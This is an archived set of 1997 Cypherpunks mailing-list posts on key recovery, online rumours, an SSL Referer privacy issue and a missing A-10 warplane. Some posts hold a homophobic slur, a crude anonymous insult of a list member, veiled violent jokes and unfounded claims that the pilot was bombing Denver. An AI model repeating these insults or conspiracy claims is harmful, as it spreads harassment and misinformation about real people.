The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 13 Apr 1997 07:48:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NSA on GAK
Message-ID: <1.5.4.32.19970413144709.0080aef0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Excerpts of remarks by NSA head William Crowell to
NISSC96, October, 1996:

Key recovery may prove essential in making encryption scalable 
on an international basis. We are not the only country wrestling 
with the public safety implications of unbreakable cryptography. 
France, Israel and Russia recently imposed import and domestic 
use restrictions. Several Asian, South American and African 
countries have had similar restrictions in place for years. Others
may impose them as strong cryptography proliferates.

For many overseas, as well as here, the logic of the need to 
balance business imperatives with public safety concerns argues 
for key recovery. The European Union and other confederations 
are considering key recovery-based KMIs. The world's major 
standards bodies are designing future standards so that key 
recovery can be accommodated.

International standards and protocols for key recovery may prove 
essential to hand off national restrictions on strong encryption, to 
promote a broad export market for cryptography and to establish 
a key management infrastructure acceptable for general international 
use. This would accelerate the realization of the promise of information 
technology, and that would be in everyone's best interest.

Working in partnership, government and industry together need to 
lay the foundation necessary to sustain and strengthen information 
security for America. I wish to emphasize that the infrastructure for 
key management will be built by industry as a commercial venture. 
This task is huge. Collaboration among many partners will be 
essential if we are to establish a KMI that promotes the use of 
encryption worldwide.

-----

For full talk:

   http://jya.com/nsagak.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 09:48:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: PaleoAnthro: Mail List Life Cycle
Message-ID: <v0302093eaf76b98558bf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Authentication-Warning: list.srv.cis.pitt.edu: majordom set sender to
owner-paleoanthro using -f
Date: Sun, 13 Apr 1997 01:06:22 -0400 (EDT)
From: Matt Fraser <mattf+@pitt.edu>
X-Sender: mattf@unixs2.cis.pitt.edu
To: Paleoanthropology List <PaleoAnthro@list.pitt.edu>
Subject: PaleoAnthro: Mail List Life Cycle
MIME-Version: 1.0
Sender: owner-paleoanthro@list.pitt.edu
Precedence: bulk
Reply-To: PaleoAnthro@list.pitt.edu


Hey All,

Dug this up from another list that I've been on for a few years now.
Thought it might be of interest.

Matt

-----------

 THE NATURAL LIFE CYCLE OF MAILING LISTS

 Every list seems to go through the same cycle:

 1.  Initial enthusiasm (people introduce themselves, and gush alot about
     how wonderful it is to find kindred souls).

 2.  Evangelism (people moan about how few folks are posting to the list,
     and brainstorm recruitment strategies).

 3.  Growth (more and more people join, more and more lengthy threads
     develop, occasional off-topic threads pop up).

 4.  Community (lots of threads, some more relevant than others; lots of
     information and advice is exchanged; experts help other experts as
     well as less experienced colleagues; friendships develop; people tease
     each other; newcomers are welcomed with generosity and patience;
     everyone -- newbie and expert alike -- feels comfortable asking
     questions, suggesting answers, and sharing opinions).

 5.  Discomfort with diversity (the number of messages increases
     dramatically; not every thread is fascinating to every reader; people
     start complaining about the signal-to-noise ratio; person 1 threatens
     to quit if *other* people don't limit discussion to person 1's pet
     topic; person 2 agrees with person 1; person 3 tells 1 & 2 to lighten
     up; more bandwidth is wasted complaining about off-topic threads than
     is used for the threads themselves; everyone gets annoyed).

 6a. Smug complacency and stagnation (the purists flame everyone who asks
     an 'old' question or responds with humor to a serious post; newbies
     are rebuffed; traffic drops to a doze-producing level of a few minor
     issues; all interesting discussions happen by private email and are
     limited to a few participants; the purists spend lots of time
     self-righteously congratulating each other on keeping off-topic
     threads off the list).
 OR

 6b. Maturity (a few people quit in a huff; the rest of the participants
     stay near stage 4, with stage 5 popping up briefly every few weeks;
     many people wear out their second or third 'delete' key, but the list
     lives contentedly ever after)
_____________________________
Robert Warner
rwarner@electrotex.com
I speak but for myself,....
_____________________________

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 09:49:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: A Rumor and Reputation Paradox...
Message-ID: <v03020945af76bb8cd2a1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Here's something from cyberia which talks about the persistence of
anti-reputation memes even in the presence of perfectly contradictory
information.

We've all heard about apocryphal stories, the $50 Corvette and the like,
but here's a case which has financial reprocussions. It reminds me of the
"satanism" claims about the Procter and Gamble moon and stars corporate
symbol a while back.

My first attempt at tackling this would be some kind of distributed
reputation system, but it seems to me that if someone I trusted said
something bad about Mr. Hilfinger, in the absence of any other respectable
data, I would believe them. I guess that means the need for reputation
"rental", like what financial intermediaries do, and also what we now call
journalism, will increase, not deminish, in geodesic markets.

Cheers,
Bob Hettinga


--- begin forwarded text


Mime-Version: 1.0
Date:         Sat, 12 Apr 1997 23:58:30 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Larry Kolodney <lkk@WORLD.STD.COM>
Subject:      Re: America Online and liability... the Horror
To:           CYBERIA-L@LISTSERV.AOL.COM

>Recall the libertarian maxim that the best response to
>offensive speech is more speech.


To anyone who actually believes this bit of 18th century enlightenment
mythology, I would recommend the article "Dirty Linen: Why are they saying
all those mean things about Tommy Hilfiger?" by Lakshmi Gopalkrishnan in
the current edition of Slate
(http://www.slate.com/TangledWeb/97-04-10/TangledWeb.asp).  In essence, the
article documents a number of vicious rumours which have been spread on the
internet about the clothing designer Tommy Hilfiger and allegedly racist
comments that he made on the Ophrah Winfrey show.

Not withstanding the fact that 1) Mr. Hilfiger never appeared on the
Winfrey show and never made the statements in question, and 2) Hilfiger Co.
has engaged in an online P.R. campaign to counter these rumours, they are
persistent and widespread.

According to the article:

BEGIN QUOTE
        A spotty paraphrase of the allegations appeared in a Nov. 13, 1996,
article in the Philippine newspaper Isyu. Titled "Eat Your Clothes, Mr.
Racist Designer," the piece has been excerpted on the Official Philippine
Anti-Tommy Hilfiger site. The writer tiptoes around the charges, but is
markedly less tentative when expressing her outrage. "I am shocked," she
fulminates. "If [Hilfiger] really did insult my people, you can bet I will
do every single thing I can in my power to make sure that his label never
makes it here."

       Forums ranging from soc.culture.african.american to talk.rumors and
Streetsound have been thick with anti-Tommy talk of late. When rumors of
the designer's alleged racist outbursts filtered into the mainstream media,
they were debunked by Time magazine, USA Today, and the Washington Post.
But that didn't stem angry calls for a boycott of his products. Nor did the
official response of the Hilfiger Corp. Claiming to have become aware of
the brouhaha only recently, the company has posted a memo on various
anti-Tommy sites detailing the "simple and incontrovertible facts":
Hilfiger has never been on Oprah. Hilfiger has never been on Style. Far
from wanting to limit his appeal, Hilfiger is on record about wanting to
cross ethnic lines to appeal to everyone everywhere.

***

In theory, the Web should be as good at eradicating legends as it is at
cultivating them, but in practice, denials are quickly buried by new
messages and updates. A week ago, Hilfiger's official response clogged
newsgroup indexes. Today, it has been swamped by even newer anti-Tommy
postings and returning favorites.

END QUOTE


Lest you think that such rumours are just a minor irritant and part of
doing business, consider that, according to the article, "In the late
1980s, purported connections with the Ku Klux Klan so damaged the
reputation of athletic-wear
manufacturer Troop (whose name was rumored to be a Ku Klux Klan acronym for
"To Rule Over Oppressed People") that it was forced into bankruptcy."

So here we have vicious rumours being spread about a company with millions
of public relations dollars at its disposal, and it is helpless in the face
of a rumour that has not one grain of truth to it.

After reading this account, how could anyone seriously argue beleive
individuals such as the hapless Mr. Zeran have the slightest ability to
counter defamation with "more speech" over the internet?  (Note that Mr.
Zeran did not even have an internet account!)

Larry Kolodney

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 13 Apr 1997 14:00:08 -0700 (PDT)
To: Rich Graves <llurch@stanford.edu>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970412224402.009d66d0@mail.teleport.com>
Message-ID: <3.0.1.32.19970413134238.00655f48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:41 AM 4/13/97 -0700, Rich Graves wrote:
>Or blame it on the client. Microsoft handled the utter absence of security
>in their WFW/Win95 SMB implementation by claiming, falsely, that Samba was
>sending "illegal commands." After a thorough public thrashing, the Win95
>product manager eventually changed that to "specific networking commands,"
>with no retraction and no indication that the document had changed.

Heh.  Sending illegal or unexpected commands to a program is _the_
standard way to break security; if they can't defend against that, they're
hosed.
I'd reserve the phrase "utter absence of security" for systems that
let you ignore the permissions by just asking nicely :-)

><URL:http://www.research.microsoft.com/research/os/main.htm>

Interesting paper.  I was surprised it didn't explicitly mention Plan 9
when it was discussing other operating systems, though mentioning Inferno 
does include that indirectly.  It also didn't mention security -
it talked about the kind of world where you can just buy a computer,
turn it on, plug it in, and it'll find whatever resources it wants
in the One Big Operating System.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 13 Apr 1997 12:16:24 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <XP545D3w165w@bwalk.dm.com>
Message-ID: <199704131915.OAA04079@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> >
> > [this is only of interest to UNIX(tm) users. Windows users, please ignore]
> 
> I suspect that a typical Windows user with a POP account usually has a unix
> account and a home directory (although its shell may be /etc/false or some
> such); he may be able to ftp to it and create a .forward file pointing
> to procmail, who will look at the incoming mail before passing on to his
> PPP. I don't really know shit about this, so don't flame me if this
> doesn't work. :-)

If the user shell is /bin/false, most likely the .forward file will not
be able to invoke any programs.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Apr 1997 12:00:14 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <199704131736.MAA02875@manifold.algebra.com>
Message-ID: <XP545D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> [this is only of interest to UNIX(tm) users. Windows users, please ignore]

I suspect that a typical Windows user with a POP account usually has a unix
account and a home directory (although its shell may be /etc/false or some
such); he may be able to ftp to it and create a .forward file pointing
to procmail, who will look at the incoming mail before passing on to his
PPP. I don't really know shit about this, so don't flame me if this
doesn't work. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 13 Apr 1997 15:45:23 -0700 (PDT)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: APRIL BAY AREA CYPHERPUNKS MEETING
Message-ID: <199704132245.PAA28164@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:32 4/10/97 -0700, Bill Stewart wrote:
>The April Bay Area Cypherpunks Meeting will be held jointly with the
>Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach.   
>( www.macdude.org , http://www.macdude.org/aprbeach.htm for event
>description.)
>Among other things, John Randolph was planning to do a 
>Great Wall of Fire with his leftover moving boxes, and various
>other cypherpunks are part of the Glorious Clan, which is a generally
>silly organization.  

While I couldn't make it this time, I'd be interested in showing up for the
next Bay area meeting if somebody could provide transportation to/from the
airport/train-station/bus-station.  A place to crash for a night would be a
big plus.

Anyone volunteering to help will get "Jim Bell" autographs.  Might be worth
something some day...   ("Get them while I can still give them"!)


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 14:51:29 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <v03020945af76bb8cd2a1@[139.167.130.246]>
Message-ID: <3351558E.C71@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> 
> Here's something from cyberia which talks about the persistence of
> anti-reputation memes even in the presence of perfectly contradictory
> information.

> Subject:      Re: America Online and liability... the Horror
> To:           CYBERIA-L@LISTSERV.AOL.COM
> 
>   In essence, the
> article documents a number of vicious rumours which have been spread on the
> internet about the clothing designer Tommy Hilfiger and allegedly racist
> comments that he made on the Ophrah Winfrey show.
> 
> Not withstanding the fact that 1) Mr. Hilfiger never appeared on the
> Winfrey show and never made the statements in question, and 2) Hilfiger Co.
> has engaged in an online P.R. campaign to counter these rumours, they are
> persistent and widespread.

  I heard that the Hifiger's comments were actually made on the eca$h
list, which regularly contains posts suggesting euthenasia for the 
elderly and the disabled.
  Of course, my source was posting from whitehouse.gov...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Apr 1997 13:30:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <v03007802af76dd429c27@[207.167.93.63]>
Message-ID: <HP945D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> be it. Anti-free speechers, including Larry Kolodney and including those
> who support libel and slander laws, would have us believe that "false
> speech" is not as protected as "true speech" is. Foo on that.)

That from a vocal supporter of Cocksucker John Gilmore's plug-pulling...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 13 Apr 1997 14:30:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Competitive Betrayal
Message-ID: <1.5.4.32.19970413212942.0073ebb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Weekend FiTi reports on "the enemy within" corporations
and the growth of "competitive intelligence" as cold war 
spy tactics are adapted to big business. Excerpts:

Nobody in the surveillance business really knows how 
much commercial spying goes on. A lot of the eavesdropping 
is done, perfectly legally, by managers listening in to their 
own staff.

It is, of course, in the interest of equipment suppliers and
corporate consultants to maximise the dangers that companies
face. "All companies are paranoid about their own security,"
said the spokesman of one well-known British multinational.
"They don't seem to mind paying consultants to tell them
things they know already."

Yet all agree that the field of "competitive intelligence",
as it is politely termed, is an expanding one. The
privatisation of whole economies, the deregulation of
monopoly markets, the globalisation of business, the spread
of foreign investment and contested takeovers, the
proliferation of technology and the sheer volume of
information - all have made companies more aggressive, and
more vulnerable.

A consultant called in to investigate a theft may find
himself pitted against another. In order to sanitise the
business, a professional association called the Society of
Competitive Intelligence Professionals has been set up.

Its 5,000 members are meant to follow a code which vaguely
urges them to obey the law, identify themselves when asking
questions, and avoid "unethical practices".
SCIP is influenced by the Association of Former Intelligence
Officers, a group described as "very powerful" by Andre
Pienaar, a young manager at the corporate investigators
Kroll Associates who has written a doctoral thesis on
business and intelligence.

"Company information has become very valuable," he said,
"more valuable than physical assets."

Protecting that information is becoming ever more difficult.
It is not just the tappers, buggers and hackers who are the
problem, however. The problem is the loyalty - or lack of it
- of employees in a world of short contracts, rapid turnover
and big inducements.

Tony McStravick, former acting head of the Metropolitan
police Fraud Squad in London, has worked for Kroll and is
now at Control Risks Group. "It all comes down to management
in the end," he said. "Companies have lost the hearts and
minds of their employees because of performance pay,
delayering, downsizing."

"You have to have a culture of honesty, from the top down.
You must find the balance between maximising profits and
being fair and honest. A lot of the time, companies forget
they are dealing with human beings."

-----

For full article:

   http://jya.com/tew.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 13 Apr 1997 18:22:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704140031.RAA12600@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim `C' Mayonnaise's obsessive masturbation has lead to advanced degree of 
blindness and hairy palms.

             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Tim `C' Mayonnaise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 17:09:27 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: APRIL BAY AREA CYPHERPUNKS MEETING
In-Reply-To: <199704132245.PAA28164@mail.pacifier.com>
Message-ID: <33516E92.36C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell wrote:
> 
> At 02:32 4/10/97 -0700, Bill Stewart wrote:
> >The April Bay Area Cypherpunks Meeting will be held jointly with the
> >Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach.

> While I couldn't make it this time, I'd be interested in showing up for the
> next Bay area meeting if somebody could provide transportation to/from the
> airport/train-station/bus-station. 

Jim,
 Given some of the comments on the list regarding your unsuitability
as a 'spokesperson' for the CypherPunks, I would make sure that you
specify you are not looking for a 'one-way' ride.

> Anyone volunteering to help will get "Jim Bell" autographs.
>  ("Get them while I can still give them"!)

  Is 'Big Louie' working for the IRS, now? (He does arms. 'Little
Louie' does kneecaps.)
  
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 13 Apr 1997 17:05:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: http:--www.cnn.com-US-9704-13-mcveigh.trial-
Message-ID: <199704132314.SAA01027@einstein.ssz.com>
MIME-Version: 1.0
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              MCVEIGH CASE COULD SET PRECEDENT FOR JURY ANONYMITY
                                       
      jurors.sketch
     
     April 13, 1997
     Web posted at: 4:01 p.m. EDT (2001 GMT)
     
     From Correspondent Susan Candiotti
     
     DENVER (CNN) -- Unless they decide to tell the world, the jurors who
     decide the fate of accused bomber Timothy McVeigh may remain forever
     anonymous.
     
     Trial Judge Richard Matsch assigned each jury candidate a number,
     and permanently sealed their records. But he has gone even further
     to protect their identities, ordering a partition to hide the jury
     box from the view of most courtroom spectators.
     
     For example, reporters must sit on one side of the court, where it's
     impossible to see behind the wall. matsch
     
     Georgetown University law professor Paul Rothstein says Matsch "has
     gone a little overboard."
     
     Unless there is evidence of danger or threat to the jurors, he says,
     "the presumption should be for an open trial in every respect,
     including being able to view the jurors."
     
     But Andrew Wolfberg, who served on the jury for the trial of Eric
     and Lyle Menendez, says protecting jurors' identities in the
     Oklahoma City bombing trial is important.
     
     "I think with this trial, there involved the death of many people
     ... which can in some way cause the jury to feel they have something
     to fear from this defendant," he said.
     
     In high-profile cases such as the O.J. Simpson trial, jurors' names
     are protected until the trial is over. And where TV coverage is
     allowed, faces are not shown on camera. mcveigh.jury
     
     Despite the secrecy, once the trial was over, some Simpson trial
     jurors hired agents, wrote books and hit the talk show circuit.
     
     Despite Matsch's caution and concern, some observers say he might be
     setting a precedent.
     
     "It's turning our system of justice upside down," says Jane Kirtley
     of the Reporters Committee for Freedom of the Press. "Because what
     it means is that the public really has no idea of who is sitting in
     judgment of people accused of heinous crimes."
     
     Decisions like Matsch's, opponents like Kirtley say, deny the
     public's right to "know" who sits on a high-profile jury. OKC Trial
     Special Section 
     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 13 Apr 1997 20:06:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
Message-ID: <199704140306.UAA02271@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


The story thus far:
  An United States A-10 warplane on a live bombing run breaks formation
and spends the next hour flying toward Colorado.
  Just short of Vail, it changes course, headed toward Denver, and then
shortly thereafter changes direction, heading south, only to reverse
its course, and once again head toward Denver/Vail.

  During this whole time, the Air Force contends that no radio contact
was made, nor did they know where the plane was.
  They offer no explaination except an extremely weak claim that perhaps
the pilot was suicidal or stressed.

  The bottom line is that the media seems to be totally ignoring the
fact that even the military's shakey explaination of these events
suggests that the American public may have been in great danger from
a mentally unbalanced Air Force pilot in control of a war-machine
capable of creating mass destruction upon an American city.

  Even the least bit of scrutiny of the trail followed by the A-10
suggests a pilot who had a destination in mind, had to take evasive
action upon nearing his target, and then doubled back toward his
original target.
  And the best explaination that the military can provide is that a
U.S. warplane capable of doing major damage to a U.S. city just flew
around for over an hour, with no way for the military to prevent it
from bombing our citizens.
  The military tells us that a warplane approached some of the most
sensitive military installations in the country, without being noticed
or intercepted.

  The fact is, the military is in a no-win situation, whether they
reveal that U.S. citizens were potentially endangered by the military's
lack of control over U.S. warplanes, or reveal that they were forced to
intercept and shoot down a U.S. warplane intending to attack a U.S.
populated area.

  I have no doubt that the military, given time, will come up with a
cover story which contains "plausibal deniability," etc., etc.
  The big mystery is why the media seems incapable of even raising
questions probing at the obvious holes in the government's irrational
explainations of this affair.

TruthMonger
http://cnn.com

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 13 Apr 1997 22:07:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
Message-ID: <199704140507.WAA05040@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> > The story thus far:
> >   An United States A-10 warplane on a live bombing run breaks formation
> > and spends the next hour flying toward Colorado.
> >   And the best explaination that the military can provide is that a
> > U.S. warplane capable of doing major damage to a U.S. city just flew
> > around for over an hour, with no way for the military to prevent it
> > from bombing our citizens.
> >   The military tells us that a warplane approached some of the most
> > sensitive military installations in the country, without being noticed
> > or intercepted.
> 
>         Well, Considering that A-10's can fly comfortably in "ground clutter",
> or "trees" as civilians call them, it isn't suprising to me that they
> couldn't track the fucker, and it is my firm belief that if the pilot
> had wanted to dump his paylod over denver, coffin makers would be on overtime
> right now.

  So you are basically claiming that Jim Bell's AP system opens the door
for U.S. military personnel to participate, given the fact that U.S.
defences are incapable of screening the mentally unstable from having
possession of the latest in hi-tech armaments, or stopping them if they
should choose to pick up a little cash on the side?

  Does your "firm belief" account for the fact that, upon changing
direction near the end of the flight, as if in a bombing run for
Denver or Vail, the A-10 suddenly reversed direction, as if taking
evasive action, and then circled back to resume it's run, before
disappearing?

  Even giving the least threatening scenario, that the pilot went
for an innocent joyride and ran out of gas, it astounds me that
the media could just wholeheartedly embrace the military's limp
explainations of the fact that an armed warplane could wander at
will through some of the most sensitive military areas in the
country, and not bring this to the public's attention.
  Perhaps the bars and lounges that the news media personnel
relaxed in during Desert Storm, while feeding the public the 
military's press releases verbatim were disassembled and moved 
to the U.S.

  It would be a shame if the media raised troubling questions in
regard to this affair and the Pentagon raised the price of drinks
in the media lounge.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 13 Apr 1997 22:13:34 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <3351BCD2.218886E6@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> Thanks for the pointer to MS's security site; there's a lot of
> good information there.
> 
> I was highly unimpressed with Microsoft's Response:
>         "It's Not A Security Flaw"
>         "But Everybody Important Works Around It"
>         "And we're fixing it in the next release"
> without providing much detail about what's going on.
> It does indicate what to look into to avoid it when writing web pages,
> but it doesn't say how to avoid it when entering your credit card
> number into a web page, or what to look for as a non-programmer user.

I basically agree with Microsoft.  It works as specified, and everyone
should know that handling sensitive form posts via GET is a bad idea.

That said, there is certainly some merit to the argument that HTTP's
"Referer:" is a privacy violation.  Therefore, we've added a preference
to Communicator that allows you to turn it off.  Because of the late
date there will be no UI, but if you are concerned about it, you can go
into your prefs.js file (preferences.js on unix) and turn it off by
adding the line:

user_pref("network.sendRefererHeader", false);

This will be available starting in beta 4.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 19:32:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Monopoly as damage...
In-Reply-To: <v0302093caf76a0b78618@[139.167.130.246]>
Message-ID: <v03020975af774183c3d9@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:20 pm -0400 on 4/13/97, Timothy C. May wrote:


> >Hettinga's paraphrase of Gilmore's Law:
> >
> >"A geodesic economy sees monopoly as damage and routes around it."
> >
>
> But generally not accurate. The Hettinga version, not the Gilmore version.

Utterly inaccurate. We don't have a geodesic economy. Yet. :-).

> If one defines monopoly in the sense apparently intended here, meaning that
> Microsoft, Intel, and Cisco are "monopolies" (each has about a consistent
> 70-80% market share in their primary markets), there is very little real
> evidence that a "geodesic economy" (whatever _that_ is) treats these
> monopolies as damage and routes around them.

There is very little evidence for "geodesic economies", in general.
"Geodesic markets", like "Crypto Anarchy", or the "Information
Superhighway", is just a handy hypothetical folks people made up for
entertainment some boring afternoon. :-).

As to whether Wintel (not now, but soon) and Cisco (probably not ever) are
monopolies, and as to whether that will matter, I'll leave that as an
exercise for the reader.

No, Virginia, I don't believe in path dependence, either. Monoculture,
however, happens every once in a while, particularly in markets mapped to
industrial communications hierarchies. BillG is probably the last tycoon,
in that regard.

> There are much better models for why such monopolies eventually reach
> certain limits, or face new competitors, or otherwise decline.

Seeing as there no models for things like "Crypto Anarchy", or "Geodesic
Markets", which have no data yet to model, the above comment is
tautologous. Doesn't seem to stop either one of us from making
prognostications about them, however...

> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."

"Market controls, including monopolistic practices, aren't even rent-a-cops
in a geodesic marketplace."

Whatever *that* means.

;-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 13 Apr 1997 21:21:10 -0700 (PDT)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <199704140306.UAA02271@fat.doobie.com>
Message-ID: <199704140344.WAA00320@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> The story thus far:
>   An United States A-10 warplane on a live bombing run breaks formation
> and spends the next hour flying toward Colorado.
>   And the best explaination that the military can provide is that a
> U.S. warplane capable of doing major damage to a U.S. city just flew
> around for over an hour, with no way for the military to prevent it
> from bombing our citizens.
>   The military tells us that a warplane approached some of the most
> sensitive military installations in the country, without being noticed
> or intercepted.

	Well, Considering that A-10's can fly comfortably in "ground clutter",
or "trees" as civilians call them, it isn't suprising to me that they 
couldn't track the fucker, and it is my firm belief that if the pilot 
had wanted to dump his paylod over denver, coffin makers would be on overtime
right now. 

> TruthMonger
> http://cnn.com
> 
> -- 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html

	I don't believe this was Toto, too coherent. 

	Do they have a Cammo colored crayola in the new colors?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Sun, 13 Apr 1997 20:57:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bombing Denver / Why has no one ever seen Jim Bell and Capt. Buttons together?
Message-ID: <03574662704169@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain





